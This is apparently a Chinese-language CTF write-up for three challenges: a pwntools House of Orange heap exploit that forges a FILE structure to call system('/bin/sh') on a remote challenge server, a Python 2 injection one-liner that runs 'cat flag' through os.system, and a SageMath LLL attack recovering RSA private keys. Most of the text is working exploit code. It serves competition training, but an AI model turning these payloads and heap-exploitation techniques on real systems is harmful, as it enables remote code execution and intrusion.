wind_farm_panel

保護全開

分析一波發現輸入永遠是0x1000可以溢位，然后是沒有dele，
那就是house of orange了，貼個腳本，

from pwn import *
context.log_level = 'debug'

# p = process('./pwn')
elf = ELF('./pwn')
# libc = elf.libc
libc = ELF('./libc-2.23.so')
p = remote("182.92.203.154", 28452)

def add(idx, size, content):
    p.sendlineafter('>>', '1')
    p.sendlineafter(':', str(idx))
    p.sendlineafter(':', str(size))
    p.sendafter(':', content)

def show(idx):
    p.sendlineafter('>>', '2')
    p.sendlineafter(':', str(idx))

def edit(idx, content):
    p.sendlineafter('>>', '3')
    p.sendlineafter(':', str(idx))
    p.sendafter(':', content)

gdb.attach(p)
add(0, 0x108, 'aaaa')
edit(0, b'\x00' * 0x108 + p64(0xef1))
add(1, 0x1000, 'bbbb')
add(2, 0x108, 'c' * 8)
show(2)
p.recvuntil('c'*8)
leak = u64(p.recv(6) + b'\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x678
log.info('libc: '+ hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
payload = 'A' * 0xF + 'B'
edit(2, payload)
show(2)
p.recvuntil('B')
leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = leak - 0x110
log.info('heap: '+ hex(heap_base))
payload = b'\x00' * 0x100
io_file = b'/bin/sh\x00'
io_file += p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) + p64(0) + p64(1)
io_file = io_file.ljust(0xc0, b'\x00')
payload += io_file
payload += p64(0) * 3 + p64(heap_base + 0x300 - 8) + p64(0) * 2 + p64(libc_base + libc.sym['system']) #
edit(2, payload)
# p.sendlineafter('>>', '1')
# p.sendlineafter(':', str(3))
# p.sendlineafter(':', str(0x600))

p.interactive()

babymaze2

下載附件，打開start.sh看到一個python2，就試了一下

__import__('os').system('cat flag')

common

看上去兩組d都很大，但是都不滿足約束，參考翅膀師傅博客得到這個，

e1 =  28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577425387833579798322688436040388359600753225864838008717449960738481507237546818409576080342018413998438508242156786918906491731633276138883100372823397583184685654971806498370497526719232024164841910708290088581
e2 =  131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811039714548987535108721308165699613894661841484523537507024099679248417817366537529114819815251239300463529072042548335699747397368129995809673969216724195536938971493436488732311727298655252602350061303755611563
n  =  159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148582015228465959976312274055844998506120677137485805781117564072817251103154968492955749973403646311198170703330345340987100788144707482536112028286039187104750378366564167383729662815980782817121382587188922253
c1 =  39271160836162213728405548853500467610171589037641347982950067368350296408717130302411099962891020622232225098720695284264243919394719593177235568311124976424784821416166009510846995482324338900659678620851925668475721244397721581838040002233753151821878077740464487681032449719309712321030004216510516240908
c2 =  110634730206758314143299987274063428286038998145950564495694821227767810635503047321085509089258349773815210035303676053968697177003110450012551160491013789208474067061313949271818299884014409189329922793159364181874099755186716866973609682654442002908067481152356793858827763626010945150317647969041502152218
import gmpy2
def long_to_bytes(x):
    return bytes.fromhex(hex(x)[2:])

for i in range(731, 682, -1):
    print(i)
    alpha2 = i / 2048
    M1 = round(n ^ 0.5)
    M2 = round(n ^ (1 + alpha2))
    A = Matrix(ZZ, [
        [n, -M1*n,      0,   n^2],
        [0, M1*e1, -M2*e1, -e1*n],
        [0,     0,  M2*e2, -e2*n],
        [0,     0,      0, e1*e2]
    ])
    AL = A.LLL()
    C = Matrix(ZZ, AL[0])
    B = A.solve_left(C)[0]
    phi1 = floor(e1 * B[1] / B[0])
    phi2 = floor(e2 * B[2] / B[0])
    d1 = gmpy2.invert(e1, phi1)
    d2 = gmpy2.invert(e2, phi2)
    m1 = long_to_bytes(pow(c1, d1, n))
    m2 = long_to_bytes(pow(c2, d2, n))
    m = m1+m2
    if b'flag' in m:
        print(m)